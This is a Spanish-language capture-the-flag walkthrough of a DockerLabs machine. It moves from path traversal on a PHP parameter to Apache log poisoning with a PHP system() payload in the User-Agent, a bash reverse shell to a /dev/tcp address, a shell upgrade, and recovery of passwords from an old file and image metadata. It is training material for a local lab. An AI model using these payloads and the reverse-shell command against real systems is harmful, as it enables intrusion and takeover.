Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos el escaneo de la dirección IP y podemos observar que se identificaron 2 puertos.
Ingresamos a la web y podemos observar la página de apache2.
Realizamos un escaneo de directorios.
Podemos observar que encontramos un archivo llamado problems.php.
Y un directorio uploads, pero no encontramos nada.
Si notamos tanto el index.html y el problems.php tienen el mismo contenido probaremos haciendo fuzzing en problems porque es un archivo PHP.
Luego de unos segundos de ejecutar el fuzzing podemos observar que el parámetro es backdoor.
Al ir a la web, podemos observar que obtenemos el archivo /etc/passwd.
view-source:http://172.17.0.2/problems.php?backdoor=../../../../../../../etc/passwd
Buscamos archivos .log antes de realizar un ataque de fuerza bruta con los usuarios que tenemos, ya que observamos un directorio de uploads. Si queremos saber qué archivos tenemos podemos observar https://flotadigital.com/club/tutoriales/ubuntu/ficheros-de-registros-o-logs-en-apache-ubuntu-server-20-04/ También podemos usarlo por medio de una lista de esta manera y podemos observar todos los posibles archivos.
Probando el directorio en burpsuite podemos ver las respuestas
http://172.17.0.2/problems.php?backdoor=../../../../../../../var/log/apache2/access.log
Con conocimiento de esto, podemos realizar un envenenamiento en el log conocido como log poisoning. Ya que usaremos el acces.log podemos inyectar código PHP en el campo del user agent, de esta manera lograr una ejecución remota de comandos. Para ello lo que haremos es cambiar el user agent por <?php system($_GET['cmd']);?> y luego enviamos. Luego de realizar el envío volvemos a realizar la petición, pero desde la web y le agregamos un &cmd=whoami para observar si tenemos respuesta
ya que podemos ejecutar comandos enviamos un revshell y la URL-encodeamos.
bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Nuestra URL con la shell debería verse así
view-source:http://172.17.0.2/problems.php?backdoor=/../../../../var/log/apache2/access.log&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Antes de enviar iniciamos nuestro listener.
Luego enviamos el URL y podemos observar que ya tenemos acceso.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Una vez dentro realizamos un sudo -l y podemos observar que hay un archivo llamado antiguo_y_fuerte.txt con un texto interesante.
Revisando el texto una parte está en lo que parece ser catalán, por lo que entendemos debemos buscar en un archivo de hace 24 años. Para ello usamos el siguiente comando desde la carpeta raíz.
find / -type f -mtime +8760
Donde -mtime +8760: es para buscar archivos que no han sido modificados en más de 8760 días (24 años). El número 8760 se obtiene multiplicando 24 años por 365 días. Enviamos el comando y podemos observar que el primer resultado es un texto llamado inhakeable_pass.txt
Al dirigirnos al directorio y leer el contenido obtenemos un password. pinguinochocolatero.
Realizamos una búsqueda de los usuarios y podemos observar que tenemos a root y a carlos con los que probaremos esa credencial.
Probando con el usuario más evidente que era carlos.
Ya que estamos dentro realizamos un sudo -l.
En la carpeta de carlos realizamos un sudo -l y observamos muchas carpetas.
Realizamos un ls -la para ver si hay algún archivo que pese distinto, pero no podemos observar algún cambio.
Como son bastantes emplearemos find para poder identificar si alguna carpeta tiene un archivo dentro.
find ./ -type f -print
Al ejecutar podemos observar que identifico una imagen.
Ya que no podemos observar u extraer lago de la imagen desde esta sesión la pasaremos a nuestra máquina local. Iniciamos un servidor en carlos, pero debemos cambiarnos a la carpeta 55.
En nuestra máquina atacante descargamos el archivo.
Abrimos para ver si tiene un texto, pero solo es una imagen.
Usamos Exiftool para ver detalles de la imagen y podeos observar que en image Qualityindica un texto que por lo general no va y es pingui1730.
Suponemos que es el password para extraer un archivo, pero podemos observar que no es correcto.
Ya que no le corresponde probamos con root y podemos observar que sí le correspondía a root. De esta manera culminando esta máquina exitosamente.
